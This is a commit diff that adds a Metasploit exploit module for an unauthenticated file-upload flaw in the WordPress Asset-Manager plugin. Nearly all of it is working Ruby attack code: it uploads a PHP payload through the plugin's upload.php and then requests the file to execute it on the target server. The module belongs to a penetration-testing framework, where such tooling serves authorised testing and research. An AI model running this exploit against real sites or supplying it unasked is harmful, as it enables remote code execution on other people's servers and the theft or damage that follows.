added initial submission from james fitts

Author: jvazquez-r7

modules/exploits/unix/webapp/asset-manager_upload_exec.rb

@@ -0,0 +1,100 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+require 'msf/core/exploit/php_exe'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GreatRanking
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::PhpEXE
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
+			'Description'    => %q{
+				This module exploits a vulnerability found in Asset-Manager <= 2.0
+				WordPress plugin.  By abusing the upload.php file, a malicious
+				user can upload a file to a temp directory without authentication,
+				which results in arbitrary code execution.
+			},
+			'Author'         => [ 
+						'Sammy FORGIT',	# initial discovery
+						'James Fitts' 	# metasploit module
+						],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: $',
+			'References'     =>
+				[
+					[ 'OSVDB', '82653' ],
+					[ 'BID','53809' ]
+				],
+			'Payload'	 =>
+				{
+					'BadChars' => "\x00",
+				},
+			'Platform'       => 'php',
+			'Arch'		 => ARCH_PHP,
+			'Targets'        =>
+				[
+					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
+					[ 'Linux x86'		, { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
+				],
+			'DefaultTarget' => 0,
+			'DisclosureDate' => 'Jan 23 2012'))
+
+		register_options(
+			[
+				OptString.new('TARGETURI', [true, 'The base path to Asset Manager', '/wordpress/wp-content'])
+			], self.class)
+	end
+
+	def exploit
+		uri =  target_uri.path
+		uri << '/' if uri[-1,1] != '/'
+
+		peer = "#{rhost}:#{rport}"
+		uid = rand_text_alphanumeric(34).to_s
+
+		@payload_name = "#{rand_text_alpha(5)}.php"
+
+		post_data =  "--#{uid}\r\n"
+		post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
+		post_data << "Content-Type: application/octet-stream\r\n"
+		post_data << "\r\n"
+		post_data << payload.raw + "\r\n"
+		post_data << "\r\n"
+		post_data << "--#{uid}--\r\n"
+
+		print_status("Uploading payload #{@payload_name} to #{peer}...")
+		res = send_request_cgi({
+			'method'	=> 'POST',
+			'uri'		=> "#{uri}plugins/asset-manager/upload.php",
+			'ctype'		=> "multipart/form-data; boundary=#{uid}",
+			'data'		=> post_data
+		})
+
+		if res
+			print_status("#{peer} responds with status: #{res.code.to_s}")
+		else
+			print_error("#{peer} not responding to our requests...")
+			return
+		end
+
+		print_status("Executing payload #{@payload_name} on the target...")
+		res = send_request_raw({
+			'uri'		=> "#{uri}uploads/assets/temp/#{@payload_name}",
+			'method'	=> 'GET'
+		})
+
+		if res and res.code == 404
+			print_error("Target responding with a 404... Upload probably failed...")
+			return
+		end
+	end
+end